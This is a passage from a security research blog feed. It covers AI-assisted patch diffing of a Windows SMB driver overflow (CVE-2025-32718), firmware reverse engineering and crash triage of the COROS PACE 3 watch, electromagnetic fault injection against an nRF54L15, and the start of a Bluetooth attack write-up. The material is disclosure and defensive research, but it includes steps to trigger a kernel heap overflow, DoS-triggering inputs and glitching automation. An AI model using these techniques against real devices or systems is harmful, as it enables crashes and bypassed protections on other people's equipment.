- If enabled, calls CredUnmarshalTargetInfo on the server name and rejects anything recognized as marshaled data with STATUS_INVALID_PARAMETER (0xc000000d). Blocks cred-marshal–like inputs from reaching authentication paths (CWE-20, CWE-287).
- Availability, allocation, and bounded copies
- Queries server availability, constructs server entries explicitly, allocates buffers sized to UNICODE_STRING lengths, and uses RtlCopyUnicodeString for bounded copy (reduces CWE-119/120 exposure).
- Cleanup on failure
- Resets state, dereferences server entries, and frees allocations on error returns (CWE-664).
# Exploitability & Impact
- Integer overflow → heap overflow in RxCeEncryptData (most critical)
- Before: Unchecked 32-bit additions (param_4 + constants) could wrap, causing ExAllocatePoolWithTag to under-allocate while RtlCopyMdlToBuffer/SmbCryptoEncrypt operate on param_4 bytes, enabling a kernel pool overflow.
- After: With feature enabled, RtlULongAdd validates both additions and aborts on overflow.
- Exploitability: Depends on upstream bounds for param_4. If param_4 can be attacker-influenced and large, pre-patch code is at risk. Post-patch safety depends on the feature flag being enabled.
- Credential-marshal–like server names in MRxSmbCreateSrvCall
- Risk: Server names that resemble marshaled target info could lead to authentication confusion or misuse if interpreted by credential APIs.
- Mitigation: When enabled, CredUnmarshalTargetInfo is used as a gate; recognized marshaled forms are rejected with STATUS_INVALID_PARAMETER.
- Exploitability: Realistic where attackers influence UNC/DFS names; effectiveness depends on feature enablement.
- Resource lifetime and cleanup
- Risk: Without explicit teardown on failures, stale pointers/leaks could accumulate, raising UAF/inconsistency risks under error churn.
- Mitigation: Explicit state zeroing, dereference, and free paths reduce lifetime-related issues. Primarily stability/DoS hardening.
- Lesser issues
- Type correction and out-parameter fix in RxCeEncryptData reduce logic/aliasing risks; low direct exploitability.
- Telemetry changes improve diagnostics; no evident sensitive data exposure in shown snippets.
Residual/new risks:
- Feature flag dependency: Both primary mitigations are gated by EvaluateCurrentState over feature descriptors. If disabled in some configurations, the original risks persist.
- Large but bounded allocations from input-sized server names could contribute to memory pressure (low DoS risk).
- Partial normalization trims only a single leading backslash; unlikely to be security-relevant given the cred-marshal check’s purpose.
# Next Analysis Steps for Reproduction
- Validate feature-flag behavior
- Identify and toggle the relevant feature descriptors:
- RxCeEncryptData sizing checks: g_Feature_2962494776_56195954_FeatureDescriptorDetails.
- MRxSmbCreateSrvCall cred-marshal gate: g_Feature_2181565755_56614078_FeatureDescriptorDetails.
- Test both enabled and disabled states to confirm code paths and outcomes.
- Reproduce and verify the integer overflow fix (RxCeEncryptData)
- With the feature disabled, drive RxCeEncryptData with a large param_4 value that would cause 32-bit addition overflow in param_4 + 0x34 or +0x84; observe allocation size vs. copy length behavior.
- With the feature enabled, confirm RtlULongAdd returns an error and the function exits with the documented failure code (-0x3ffffbd5) instead of proceeding.
- Confirm IoAllocateMdl uses the corrected unsigned length and that cleanup zeroes the length on failure.
- Exercise the credential-marshal rejection (MRxSmbCreateSrvCall)
- Provide a server name buffer that CredUnmarshalTargetInfo recognizes as marshaled target info.
- With the feature enabled, expect immediate failure with STATUS_INVALID_PARAMETER and WPP telemetry reflecting the status.
- With the feature disabled, confirm the request proceeds past this point.
- Verify input normalization by supplying a name with a leading backslash and checking the adjusted pointer/length used for the marshal check.
- Validate failure-path cleanup (MRxSmbCreateSrvCall)
- Induce allocation failures (e.g., force ExAllocatePoolWithTag for the server name or phase context to fail) and verify:
- State at lVar3 + 0x20 is zeroed.
- Server entry is dereferenced.
- Phase context buffer is freed.
- Correct NTSTATUS is returned and telemetry logs the status.
- Sanity checks on bounded copies
- For server name allocation/copy, provide varying UNICODE_STRING lengths (including zero and maximum typical sizes) and verify allocations match the source length and that RtlCopyUnicodeString writes within bounds.
These steps will confirm the mitigations, surface any lingering feature-gating gaps, and validate robustness of the new error paths.
---
## Security Relevance Evaluation
**Level:** CRITICAL
**Score:** 85
**Summary:** The report identifies a feature-gated fix for an integer overflow in RxCeEncryptData that could cause a kernel heap overflow during SMB encryption, and adds hardening in MRxSmbCreateSrvCall to reject credential-marshal-like server names. Because both mitigations are behind feature flags, prior vulnerable behavior can persist if the features are disabled.
So now the fun part begins, where we verify the results and digging deeper into the binary …
Case Study: Integer Wraparound and Heap-based Buffer Overflow
In the example above, a potential integer overflow/wraparound in RxCeEncryptData (SMBv3 with encryption) that later leads to a heap-based buffer overflow was highlighted.
So let’s analyze the patch manually.
Looking at the older version of mrxsmb.sys, we quickly spotted the wraparound.
It originates from the fourth argument passed in by the caller:
Integer wraparound
Now, let’s take a look at this bug in action:
The image below illustrates a call to RxCeEncryptData during an SMBv3 encryption process, where a payload length of 0xFFFFFF80 is passed in the R9 register.
Call to RxCeEncryptData
The integer wraparound occurs (0xFFFFFF80 + 0x84 = 0x00000004), and the value is used as second parameter (RDX) to ExAllocatePoolWithTag:
Memory allocation
RtlCopyMdlToBuffer then attempts to copy 0xFFFFFF80 bytes (R9) into the previously allocated small buffer::
RtlCopyMdlToBuffer
Finally, the expected page fault occurs.
System error
Blue Screen of Death (BSOD)
Great, our automated approach flagged the bug.
In the newer version, we quickly identified the fix:
Fixed integer wraparound
Ultimately, the issue was fixed and we assume this was the root cause of CVE-2025-32718.
Caveats
While successfully identifying fixed bugs, particularly memory-related ones, LLMs also tend to hallucinate and generate false positives.
This occurs especially when the model attempts to detect new vulnerabilities that may have been introduced by the patch.
Although this is a common limitation of AI-based static code analysis, it becomes even more pronounced when the submitted code lacks sufficient context.
Another issue is the reliability of decompiled output.
The tool consumes Ghidra pseudocode, which can be inaccurate.
Common pitfalls include wrong return value, signed versus unsigned mismatches that flip comparisons, and misintepreted structures or bitfields.
In regard of selecting models, we observed significantly better results, including more detail, clearer explanations with code references,
and fewer false positives, when using advanced reasoning models such as o3, GPT-5 (Thinking) or Opus 4.1.
Conclusion
We successfully employed an automated patch-diffing approach in combination with an AI-driven workflow to identify silent fixes and known vulnerabilities or bugs.
At the time of publication, this method had been used on 32 Windows driver targets across two Patch Tuesdays.
Despite various false positives and occasional hallucinations, the tool did not uncover any previously unknown vulnerabilities introduced by the patch itself.
This once again underscores that relying solely on LLMs without proper validation has its limits.
Nevertheless, achieving this objective seems well within reach in the near future.
With growing experience and a broader set of results, we will be able to fine-tune prompts, supply additional code context where needed, and potentially implement dedicated validation mechanisms.
Check out diffalayze and share your feedback with us!
Firmware Analysis of the COROS PACE 32025-07-21T08:00:00+02:002025-07-21T08:00:00+02:00https://blog.syss.com/posts/coros-firmware-analysis/Jan Wütherich
In this blog post, we take a deeper look at the firmware of the COROS PACE 3.
This is a follow-up post for the Bluetooth Analysis post.
Overview
In order to get a better understanding of the hardware, it is often useful to take a look at the internal hardware of the device.
Luckily for us, a document with internal photos for the FCC filing is freely available on the internet.
Therefore, we ...
In this blog post, we take a deeper look at the firmware of the COROS PACE 3.
This is a follow-up post for the Bluetooth Analysis post.
Overview
In order to get a better understanding of the hardware, it is often useful to take a look at the internal hardware of the device.
Luckily for us, a document with internal photos for the FCC filing is freely available on the internet.
Therefore, we are not forced to open the watch, which avoids the risk of damaging anything.
Unfortunately, most of the labels in the document were not clearly readable, but it allowed for a rough overview of the device.
What’s immediately visible is a 4G eMMC, a SoC in the center, which could be the main MCU, and a separate Bluetooth chip next to it.
Obtaining the firmware data
When performing an update, the COROS PACE 3 downloads the firmware data over HTTP without any encryption.
This allows for eavesdropping the firmware files during the update (see also SYSS-2025-029 and SYSS-2025-030).
Three of the files seemed the most interesting:
16_cypress_bt_fw.bin: The bluetooth firmware running on the separate Bluetooth chip
7_COROS_W331_system_ota.bin: The system firmware performing most of the watches tasks
81_COROS_W331_bootloader_ota.bin: A bootloader which runs before the system firmware
These files appear to be unencrypted and simply running the strings utility on the system OTA binary reveals a lot of log messages and source paths.
This already helps to identify the more hardware components of the watch:
The PSOC6 is a programmable system-on-chip line by Infineon, suggesting that it is most likely used as the main SoC here.
The PSOC6 is available in three different product lines:
61, containing Arm Cortex-M4 CPU
62, containing both an Arm Cortex-M4 CPU and Cortex-M0+ CPU
63, featuring a Bluetooth LE radio
Unfortunately, at this point we could not figure out which line was used exactly, but the 63 line seemed unlikely due to the separate Bluetooth chip visible in the FCC filings.
The bootloader
Looking at the bootloader binary in a hex editor reveals a short header with the magic bytes HF at the start.
All COROS firmware files contain the following file header:
header crc is a CRC16-CCITT over the first 0xE bytes of the header.
checksum and checkxor consists of all bytes following after the header summed/xor’ed together.
body crc is a CRC16-CCITT over all bytes following after the header.
After the initial 0x10 header bytes (in blue), there are several little endian addresses, suggesting a vector table (in red).
All addresess, besides the initial stack address, are in the 0x10000XXX range, suggesting that the base address might be 0x10000000.
Potential vector table
After stripping the initial 0x10 header bytes from the file, we loaded the bootloader into Ghidra at said address.
We were now able to further analyze the bootloader.
Surprisingly, not much seemed to be happening after the reset vector.
The only thing worth noting was an address, to what seems to be a second vector table, being written to one of the MMIO registers.
System initialization routine
Potential second vector table
Since we know that the PSOC 62 line contains a second CPU, this is most likely the vector table for the other CPU.
Now that we know that the 62 line is most likely used here, the correct SVD file with register addresses can be loaded in Ghidra.
The disassembly now properly shows the register names and confirms that the second vector table is indeed used for the secondary CM4 CPU.
This CPU is also what is responsible for all the bootloader tasks.
The first CPU only spins up the CM4 and is then kept idling.
Register level analysis of the CM4 Startup on PSoC 62
Further reverse engineering allows gaining an overview over what the bootloader does.
We were mainly interested in how the bootloader upgrades the system OTA binary, since that appears to be the main purpose of the bootloader.
The updated system OTA binary is read from the flash and then parsed by the bootloader.
The updated binary is expected to contain two separate images.
One of these images is then written to the internal flash, while the other image is written to an external memory-mapped flash.
In order to extract these OTA files, we started working on a python script, where we re-implemented the logic used by the bootloader, to write these images to standalone binary files.
While reverse engineering the bootloader, we noticed a fallback mode, which allows flashing a firmware over USB.
In order to enter this fallback mode, the USB cable needs to be connected immediately after holding down both buttons on the watch.
While in this mode, the watch displays the message Please connect to PC to upgrade the firmware.
System firmware
The system firmware runs from the internal flash of the PSOC6.
Additionally, an external flash is also mapped into the address space using XIP (execute-in-place).
Both images contain functions and data and the firmware frequently jumps between the two.
After writing a small script to extract the two images from the system OTA binary, we were once again able to load them into Ghidra for analysis.
Similar to the bootloader, most of the firmware is ran on the Cortex-M4, while the other CPU is mostly kept idling.
Bluetooth firmware
The bluetooth firmware is another binary blob for the separate bluetooth chip (Infineon CYW43012) seen on the board in the FCC filing.
This CYW43012 contains a vendor firmware in ROM and allows loading user code into RAM, which will act as patches to the code already present in ROM.
This user code is stored in the bluetooth firmware file mentioned in the beginning, and is loaded by the system firmware using HCI commands.
The file contains HCI commands which are then sent to the chip to write the user code piece-by-piece into RAM.
Excerpt of the bluetooth firmware
Extraction
After all interesting firmware files and their structures are known, we developed a script for extracting them, e.g. for further reverse engineering:
importconstructimportargparseimportcrcmodimportstructclassCorosFileException(Exception):"""An exception occured while parsing the file"""classCorosFileId:SYSTEM_OTA=7BT_FIRMWARE=16BOOTLOADER=81CorosFileHeader=construct.Struct('magic'/construct.Int16ul,construct.Padding(1),'fileid'/construct.Int8ul,'model'/construct.Int8ul,'flags'/construct.Int8ul,'checksum'/construct.Int8ul,'checkxor'/construct.Int8ul,'size'/construct.Int32ul,'filecrc'/construct.Int16ul,'headercrc'/construct.Int16ul)CorosSystemOTAHeader=construct.Struct('magic'/construct.Int16ul,'imagecount'/construct.Int8ul,construct.Padding(3),'offsets'/construct.Array(8,construct.Int32ul),'headercrc'/construct.Int16ul)crc16_ccitt=crcmod.mkCrcFun(0x11021,initCrc=0xFFFF,rev=False)defchecksum(data):returnsum(data)&0xFFdefcheckxor(data):xor=0forbindata:xor=xor^breturnxor^((len(data)//0xFF)+(len(data)&0xFF))&0xFFdefmerge_consecutive_addresses(d):forkinlist(d):# Skip keys that were already merged
ifknotind:continuewhileTrue:end=k+len(d[k])ifendind:d[k]+=d[end]deld[end]else:breakif__name__=='__main__':parser=argparse.ArgumentParser(prog='corosfiletool',description='Tool for unpacking coros firmware files')parser.add_argument('file',type=argparse.FileType('rb'))args=parser.parse_args()# Parse header
headerbytes=args.file.read(CorosFileHeader.sizeof())header=CorosFileHeader.parse(headerbytes)# Verify header
ifheader.magic!=0x4648andheader.magic!=0x4644:raiseCorosFileException("Invalid file header magic")ifheader.headercrc!=crc16_ccitt(headerbytes[:CorosFileHeader.sizeof()-2]):raiseCorosFileException("Invalid header CRC")data=args.file.read(header.size)# Verify file body
ifheader.filecrc!=crc16_ccitt(data):raiseCorosFileException("Invalid filecrc")ifheader.checksum!=checksum(data):raiseCorosFileException("Invalid checksum")ifheader.checkxor!=checkxor(data):raiseCorosFileException("Invalid checkxor")matchheader.fileid:caseCorosFileId.SYSTEM_OTA:# System OTA images have an additional header
otaheader=CorosSystemOTAHeader.parse(data)# Verify OTA header
ifotaheader.magic!=0x464D:raiseCorosFileException("Invalid OTA magic")ifotaheader.headercrc!=crc16_ccitt(data[:CorosSystemOTAHeader.sizeof()-2]):raiseCorosFileException("Invalid OTA header CRC")# Unpack images
offsets=otaheader.offsetsimagecount=otaheader.imagecountforiinrange(imagecount):startoffset=offsets[imagecount-i-1]endoffset=offsets[imagecount-i]ifi>0elselen(data)filename=f'system_ota_image_{i}.bin'print('Writing '+filename+'...')withopen(filename,'wb')asf:f.write(data[startoffset:endoffset])caseCorosFileId.BT_FIRMWARE:offset=0appldata={}whileoffset<len(data):cmd,cmdsize=struct.unpack('<HB',data[offset:offset+3])offset+=3cmddata=data[offset:offset+cmdsize]offset+=cmdsizeifcmd==0xFC4C:# write data
dataaddr,=struct.unpack('<I',cmddata[:4])# Store data in a dict to merge later on
appldata[dataaddr]=cmddata[4:]elifcmd==0xFC4E:# entrypoint
entry,=struct.unpack('<I',cmddata)print(f'Application entry point: 0x{entry:08x}')# Merge the dict
merge_consecutive_addresses(appldata)# Write merged chunks to files
fork,vinappldata.items():filename=f"cypress_bt_fw_{k:08x}.bin"print('Writing '+filename+'...')withopen(filename,"wb")asf:f.write(v)caseCorosFileId.BOOTLOADER:print('Writing bootloader_ota.bin...')withopen('bootloader_ota.bin','wb')asf:f.write(data)
Crash investigation
As mentioned in the previous blog post, multiple crashes were discovered during black-box fuzzing.
With the firmware now loaded, we can investigate these crashes further.
When encountering an exception, the watch stores the exception context to the backup registers of the SoC.
These backup registers keep their contents even when the SoC are powered off, allowing for persistent storage of the exception context.
On the next power cycle, the register contents are read and stored into a log file transmitted to the connected phone via BLE.
This log file can then be retrieved from the phone and analyzed to figure out the cause of the crashes.
A crash in the log file will look something like this:
It contains the current register state of the CM4, including a backtrace.
This allowed for quickly analyzing the crashes with the firmware now loaded in Ghidra.
NULL pointer dereference
The first crash log leads to the app_android_info_treat function responsible for parsing notifications sent from the app.
The exact structure of the notifications format is described in the previous blog post.
As a quick recall: A notification consists of three lines, where the first line is the package name (e.g. com.whatsapp), the second line the header and the third line the notification body.
Taking a closer look at the function reveals that it will use the end of the package name as the header (line 1), if it starts with a null byte. In that case, the name after the com. prefix is used as the header.
Code snippet for header package name parsing
If line 1 is missing completely though, the l1_data pointer will be NULL, causing a NULL pointer dereference resulting in a crash of the watch.
Out-of-bounds read
The second crash log leads to a checksum function in the ble_protocol_cmd_receive function.
This function expects 16-bit packets containing a command field as the first byte:
After sending command 0xB9, an additional packet from the same connection ID can be received.
The function expects the packet to contain additional data over which an 8-bit checksum will be calculated.
The checksum is validated against the last byte of the packet:
1
2
3
4
0 8 16 n-8 n
+-------------------------+
| 0 | 0 | Data | Checksum |
+-------------------------+
When sending a second command to the same connection, the checksum is calculated over the command body, shown by the following decompiled code.
Code snippet for checksum calculation
Sending a packet that is only 2 bytes in size causes an underflow in the 32-bit data_size variable, resulting in the value 0xFFFFFFFF to be passed to the calculate_checksum function as the buffer size.
As a result, calculate_checksum reads past the end of the buffer until it reaches the end of the memory bounds, at which point a data abort is raised.
The signature check
Since no signature check could be found in the bootloader, an attempt was made to modify the firmware.
For this, a string was edited and the firmware was written to the watch using the bootloader fallback mode.
When attempting to modify the firmware of the watch, the updating process would always fail at 0% on the installing step, even though all checksums in the header were properly calculated.
Firmware update attempt
A later version of the bootloader revealed that they added an RSA2048 signature check to the system OTA image:
RSA signature verification
This makes it no longer possible to write a modified firmware to the watch using the updating mechanism.
We assume that it might have been possible to modify the the system image in previous versions.
Conclusion
In the end, we were able to analyze and reverse engineer the bootloader, system image and bluetooth firmware.
We gained valuable insight into the internal workings of the watch and were able to confirm the root cause of the DoS vulnerabilities discovered during blackbox fuzzing.
nRF54L15 Electromagnetic Fault Injection2025-06-17T09:00:00+02:002025-06-17T09:00:00+02:00https://blog.syss.com/posts/nrf54-emfi/Dr. Matthias Kesenheimer
Electromagnetic fault injection, or EMFI for short, is a technique used to intentionally introduce faults into electronic systems.
By directing high-intensity electromagnetic pulses (EMPs) at a target device, attackers can induce bit flips, crashes or logic errors.
This method is particularly useful for evaluating the resilience of embedded systems, cryptographic hardware and microcontrollers.
...
Electromagnetic fault injection, or EMFI for short, is a technique used to intentionally introduce faults into electronic systems.
By directing high-intensity electromagnetic pulses (EMPs) at a target device, attackers can induce bit flips, crashes or logic errors.
This method is particularly useful for evaluating the resilience of embedded systems, cryptographic hardware and microcontrollers.
Electromagnetic fault injection is non-invasive, quick, and able to target specific operations, making it a powerful tool for security research and hardware testing.
An EMFI attack exploits the susceptibility of a microcontroller’s internal logic to high-intensity electromagnetic pulses, which can cause transient faults in computations.
By precisely timing an EMFI pulse during a critical operation, such as an arithmetic calculation or cryptographic processing, an attacker can induce bit
flips, corrupt register values, or force incorrect branching.
This can lead to subtle but exploitable errors, such as incorrect results in authentication checks, bypassed security conditions, or compromised cryptographic outputs.
Since EMFI does not require direct electrical contact, it can target even well-protected chips with limited external access, making it a powerful technique
for fault-based exploitation.
The Target
The nRF54 is Nordic Semiconductor’s next-generation ultra-low-power wireless System-on-Chip (SoC) series, designed for Bluetooth Low Energy (BLE), Thread,
Zigbee, and other radio frequency (RF) applications.
It offers higher performance, improved security, a glitch detector, and multiple cores compared to the nRF52 and nRF53 series.
The nRF54L15 target
Security researchers are particularly interested in the configurable glitch detector, as this new technology promises greater resilience against glitching attacks.
However, attacks on other microcontrollers (for example Hacking the RP2350, replicated Glitching the Raspberry Pico with a Raspberry Pico) have already shown that a glitch detector can be outsmarted with the right approach.
In the case of the attack on the RP2350, voltage glitching was used to cause faults in the microcontroller.
In this article, however, the nRF54L15 microcontroller is subjected to electromagnetic fault injection, which is expected to be more effective in evading glitch detection.
For testing purposes, the target was programmed with a simple test program that calculates a checksum over a specified memory range.
The trigger signal is generated before the calculation starts.
The following is an excerpt of the code that was flashed on the target device.
/* configuration and definitions */...intmain(void){.../* enable glitch detection */volatileunsignedint*GLITCHDETConfig=(unsignedint*)0x5004B5A0;*GLITCHDETConfig=0x00000001;/* enable trigger (start glitching) */gpio_pin_set_dt(&trigger,1);/* define the data to calculate the checksum on */size_tlen=256;uint8_tdata[len];uint32_tcrc=0;for(uint8_trounds=1;rounds<3;rounds++){/* fill the buffer for CRC calculation */for(size_ti=0;i<len;++i){data[i]=(uint8_t)((i*rounds)>>rounds);}/* calculate checksum over memory area */crc=crc+crc24_pgp(data,len);}/* disable trigger (crc calculation finished) and output calculated crc */gpio_pin_set_dt(&trigger,0);/* output crc via UART */...}
Glitching setup
The setup consists of a ChipSHOUTER to generate EMPs, a CNC table to position the ChipSHOUTER coil precisely above the target device, a Pico Glitcher v2 for trigger generation and control, an adjustable voltage source, and the target board itself (an nRF54L15 development kit).
In addition, a logic analyzer and an oscilloscope are used for instrumentation.
Test setup
All devices and components are secured to the CNC table with duct tape.
It is important that the target device is secure and does not move during the experiments.
To easily find the initial probe position, painter’s tape is used to mark the x-, y- and z-positions of the CNC table.
CNC table to move the EMFI probe
Tests were performed using different coils.
However, the 1 mm CCW probe produced the best results.
The picture below shows a close-up of the target under test and the ChipSHOUTER coil.
nRF54L15 target under test
Pico Glitcher, findus and emfindus
As in previous tests, the Pico Glitcher plays a key role in the setup.
It is configured to trigger when a rising-edge signal is received from the target device.
The Pico Glitcher also controls both the target’s power and the reset signal.
Scripting is carried out using the fault injection library (a.k.a findus).
This software is used to configure and control the Pico Glitcher, and to characterize and store experiments in a database.
The fault injection library provides useful functions for handling all the complex processes.
The “analyzer” tool of findus can be used to display events in a web application and to provide an overview of the parameter space.
A second library, emfindus, was developed to enable communication between the CNC table, the ChipSHOUTER and the host computer.
Glitching script
The glitching script begins with the configuration of all devices, the setup of the database, and the enabling of device communication.
fromfindusimportDatabase,PicoGlitcher,Serial,Helper,ErrorHandlingfromemfindusimportChipShouterInterface,MachineController...classMain:def__init__(self,args):# Pico Glitcher for resetting and power-cycling the target
self.pico=PicoGlitcher()self.pico.init(port=args.rpico,ext_power=args.power,ext_power_voltage=1.8)self.pico.rising_edge_trigger(pin_trigger=args.trigger_input)self.pico.set_lpglitch()# set up the database
self.database=Database(sys.argv,resume=self.args.resume,nostore=self.args.no_store,column_names=["voltage","length","delay","x","y","z"])self.start_time=int(time.time())# interface to ChipSHOUTER
self.shouter=ChipShouterInterface(port_chipshouter=args.shouter,external_trigger=args.external_trigger)# interface to CNC table
self.cnc=MachineController(port=args.cnc,limits=False,max_x=0,max_y=0,max_z=0)# Serial connection to the target
self.serial=Serial(port=args.target,timeout=0.01)# error handling
self.error_handler=ErrorHandling(max_fails=args.number_of_tries*5,look_back=args.number_of_tries*5,database=self.database)...
Next, a connection to the CNC table is established and it is moved to the starting position.
The experiment parameters are then loaded.
defrun(self):# move the CNC table to the correct position
self.cnc.connect()self.cnc.setup_position(homing=self.args.homing,manual_positioning=self.args.manual_positioning,go_to_last_working_position=self.args.last_working_position)# get the parameters
s_voltage=self.args.voltage[0]e_voltage=self.args.voltage[1]d_voltage=self.args.voltage[2]s_length=self.args.length[0]e_length=self.args.length[1]d_length=self.args.length[2]s_delay=self.args.delay[0]e_delay=self.args.delay[1]d_delay=self.args.delay[2]s_x=self.args.scanx[0]e_x=self.args.scanx[1]d_x=self.args.scanx[2]s_y=self.args.scany[0]e_y=self.args.scany[1]d_y=self.args.scany[2]s_z=self.args.scanz[0]e_z=self.args.scanz[1]d_z=self.args.scanz[2]# bring the target to a known state
self.pico.reset()
The next step involves selecting a random parameter point (CNC table position, coil voltage, length and delay of the pulse) and moving the ChipSHOUTER probe to the chosen position.
The ChipSHOUTER device is initialized and the Pico Glitcher is armed.
The electromagnetic pulse is emitted with a delay after the trigger condition is observed, i.e. after a rising edge is detected by the Pico Glitcher on a target’s GPIO pin.
# start experiments
experiment_id=0whileTrue:# move table to random position
x=Helper.random_point(s_x,e_x,d_x,dtype=float)y=Helper.random_point(s_y,e_y,d_y,dtype=float)z=Helper.random_point(s_z,e_z,d_z,dtype=float)self.cnc.move_abs_xyz(x,y,z,f=300,safety_mode=False)# check every point multiple times with random parameters
for_inrange(0,self.args.number_of_tries):voltage=Helper.random_point(s_voltage,e_voltage,d_voltage,dtype=int)length=Helper.random_point(s_length,e_length,d_length,dtype=int)delay=Helper.random_point(s_delay,e_delay,d_delay,dtype=int)# initialize the ChipShouter
self.shouter.init(voltage=voltage,pulse_width=length)# check if shouter is available or if there are faults
self.shouter.block()# arm the Pico Glitcher
self.pico.arm(delay,length)# reset target
time.sleep(0.01)self.pico.reset(0.01)# block until triggered
try:self.pico.block(timeout=1)exceptExceptionas_:print("[-] Timeout received in block(). Continuing.")self.pico.power_cycle_target()
Finally, the response of the device is captured and categorized.
The outcome of the experiment is stored in a database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# check response
garbage=self.serial.read_until(expected=b'*** Booting nRF Connect SDK v2.9.0-7787b2649840 ***\r\n')garbage=self.serial.read_until(expected=b'*** Using Zephyr OS v3.7.99-1f8f3dc29142 ***\r\n')response=self.serial.read(53)self.serial.flush_v2(timeout=0.5)# classify response
color=self.shouter.classify_glitchdet_enabled(response)#color = self.shouter.classify_glitchdet_disabled(response)
# add to database
response_str=str(response).encode('utf-8')self.database.insert(experiment_id,voltage,length,delay,x,y,z,color,response_str)...
The script is executed with the following arguments:
With these parameters a electromagnetic pulse with a duration between 90 and 110 ns after a delay between 0 and 310,000 ns is generated.
The coil is charged with 190 V.
The CNC table is instructed to cover an area of 6 mm x 6 mm and a z-height between 0.1 and 0.4 mm.
Varying the distance (z-height) of the coil from the target device effectively controls the strength of the electromagnetic field.
Furthermore, the area affected by the electromagnetic pulse is influenced by the distance of the probe from the target.
It was found that adjusting the z-height was more effective than adjusting the coil voltage.
The --number-of-tries argument controls the number of attempts made at each position before moving on.
To resume from the last position after restarting the script, the CNC table is homed using the --homing argument and moved to the last working position using the --last-working-position argument.
Results
Test runs are performed with and without the glitch detector activated to observe its effects.
The following two figures demonstrate the significant impact of enabling the glitch detector on the outcome of the experiments.
The green dots represent events where nothing happens and the outcome of the calculation is as expected.
Events marked in yellow or magenta are of interest to the attacker since they indicate that the microcontroller has reacted to the fault injection.
Red and orange dots indicate experiments in which the fault injection modified the checksum calculation (successful or “positive” events).
Parameter space with glitch detector disabled
A second island of magenta events, where the microcontroller is shut down by the glitch detector, becomes visible when the glitch detector is activated, as can be seen in the following figure.
Parameter space with glitch detector enabled
As the upper island is visible in both cases, subsequent experiments will focus on this area.
Positive events are expected to be found here.
Indeed, closer examination of the upper island revealed positive outcomes at the transition between the magenta island and the expected results.
Positive events
To further improve the success rate, a detailed scan of the lower part of the island is carried out.
Scanning this area achieved a success rate of 2.4%.
Positive events
Conclusion
Even though only a proof of concept of a checksum modification has been shown so far, this work makes it clear that even hardware with a dedicated glitch detector can be attacked via EMFI.
It also shows that despite great efforts to secure the hardware against fault injection, there is always a residual risk.
Future work will investigate whether this attack is suitable for circumventing the microcontroller’s readout protection.
Details of this vulnerability have also been published in the advisory SYSS-2025-022.
Watch Out! Bluetooth Analysis of the COROS PACE 32025-06-17T08:00:00+02:002025-08-11T13:58:40+02:00https://blog.syss.com/posts/bluetooth-analysis-coros-pace-3/Moritz Abrell
In this blog post, we describe the Bluetooth analysis of the COROS PACE 3 sports watch and the security vulnerabilities we found during this research.
In this blog post, we describe the Bluetooth analysis of the COROS PACE 3 sports watch and the security vulnerabilities we found during this research.
TL;DR
During the analysis of COROS PACE 3 Bluetooth security, we found several significant vulnerabilities allowing an unauthenticated attacker within the Bluetooth range to perform the following actions:
Hijacking the vicitim’s COROS account and accessing all data
Eavesdropping sensitive data, e.g. notifications
Manipulating the device configuration
Factory resetting the device
Crashing the device
Interrupting a running activity and forcing the recorded data to be lost
We also noticed security-relevant differences between the COROS iOS and Android app.
An illustration of the found attack scenarios is given below:
Wireless attack scenarios
Intro
Sport watches like the COROS PACE 3 have become indispensable tools for athletes of all levels.
Unlike conventional smartwatches, these devices are used as personal performance labs –
continuously collecting and processing key metrics related to training, recovery, and overall athletic readiness.
The collected data is used by athletes to fine-tune their routines, monitor progress, and adapt strategies in real time.
While this may sound like a luxury for casual runners, it’s absolutely essential for professionals.
In high-stakes competition, every second counts and real-time data on pace, heart rate,
and exertion can make the difference between winning and falling short.
Given how central these devices have become in training and race, it’s worth asking: How secure are they?
The COROS PACE 3 is a widely used example of a modern sports watch trusted by elite athletes.
But as part of a recent research project, we wanted to take a closer look at the other side of the medal: its security.
We focused our attention on the Bluetooth communication between the watch and connected devices.
Specifically, we wanted to understand what an attacker could realistically do while being in close proximity to the watch –
without any direct physical access.
Could sensitive health data be intercepted?
Could ongoing workouts be disrupted or manipulated remotely?
And how resilient is the watch’s wireless communication to unauthorized access?
So let’s dive in.
Architecture
The architecture behind the COROS PACE 3 ecosystem is relatively straightforward.
At its core, the watch communicates with the assigned mobile phone via Bluetooth Low Energy (BLE),
using the COROS app available for both iOS and Android.
The mobile app, in turn, connects to various back-end services over HTTP/HTTPS to sync data,
manage user profiles, and retrieve additional content such as workout plans or training data.
In addition to BLE, the watch can also be configured to connect directly to a wireless network (Wi-Fi).
This allows, for example, downloading firmware updates directly on the watch.
The following figure illustrates this environment:
Architecture overview
Bluetooth Analysis
To perform the analysis of the Bluetooth implementation and communication, we adopted various perspectives:
Passive sniffing of Bluetooth Low Energy (BLE) traffic
Active adversary-in-the-middle attacks during the initial pairing process and subsequent communication
Direct interaction with the watch via BLE
Direct interaction with the paired mobile device
For this, we mainly used tools such as WHAD, Mirage, bumble or Sniffle,
along with classic Bluetooth USB dongles and the nRF52840 development kit.
In the further course of the analysis, we also developed individual proof-of-concept scripts.
Advertisement
As soon as the COROS PACE 3 is powered on, it begins advertising itself over Bluetooth with the following services:
Complete Local Name: COROS PACE 3 7A8F48
Battery Service (UUID16: 0x180f)
Device Information (UUID16: 0x180a)
Unknown (UUID16: 0xfee7)
This advertising occurs whenever no device is connected to the watch.
In other words, as soon as the paired mobile phone disconnects – even temporarily – the watch resumes advertising
and allows incoming BLE connections from any nearby device.
This makes it possible to interact with – or potentially attack – the watch without needing to unpair or reset it first.
Services & characteristics
Once a connection is established to the COROS PACE 3 via BLE,
we can enumerate the available GATT services and their associated characteristics, along with their permissions.
One of the first notable observations is that the watch allows accessing all exposed characteristics
without requiring the connecting device to be paired or bonded.
This in turn has the following effects:
A nearby attacker can connect to the watch whenever it is not connected to the paired mobile phone, and freely interact with all available services and characteristics.
If the mobile phone or COROS app does not enforce pairing and bonding, the BLE communication on its physical layer is not encrypted and can be sniffed.
In essence, the lack of mandatory pairing creates an attack surface – one that could be exploited with minimal effort,
especially in public or semi-public environments like gyms, races, or public transport.
Pairing & bonding
After confirming that the COROS PACE 3 does not enforce Bluetooth pairing or bonding,
we took a closer look at the actual communication between the watch and a connected mobile phone.
The key question we wanted to answer was:
“Is the communication properly authenticated and encrypted?”
Bluetooth includes several built-in security mechanisms, such as authentication and encryption.1
So by analyzing the communication between the COROS PACE 3 and the mobile app,
we wanted to determine whether the COROS implementation actually leverages these security features effectively in practice.
Authentication
To determine the IO capabilities of the watch, we connected and initiated pairing and bonding via bluetoothctl:
1
2
3
4
5
6
7
8
9
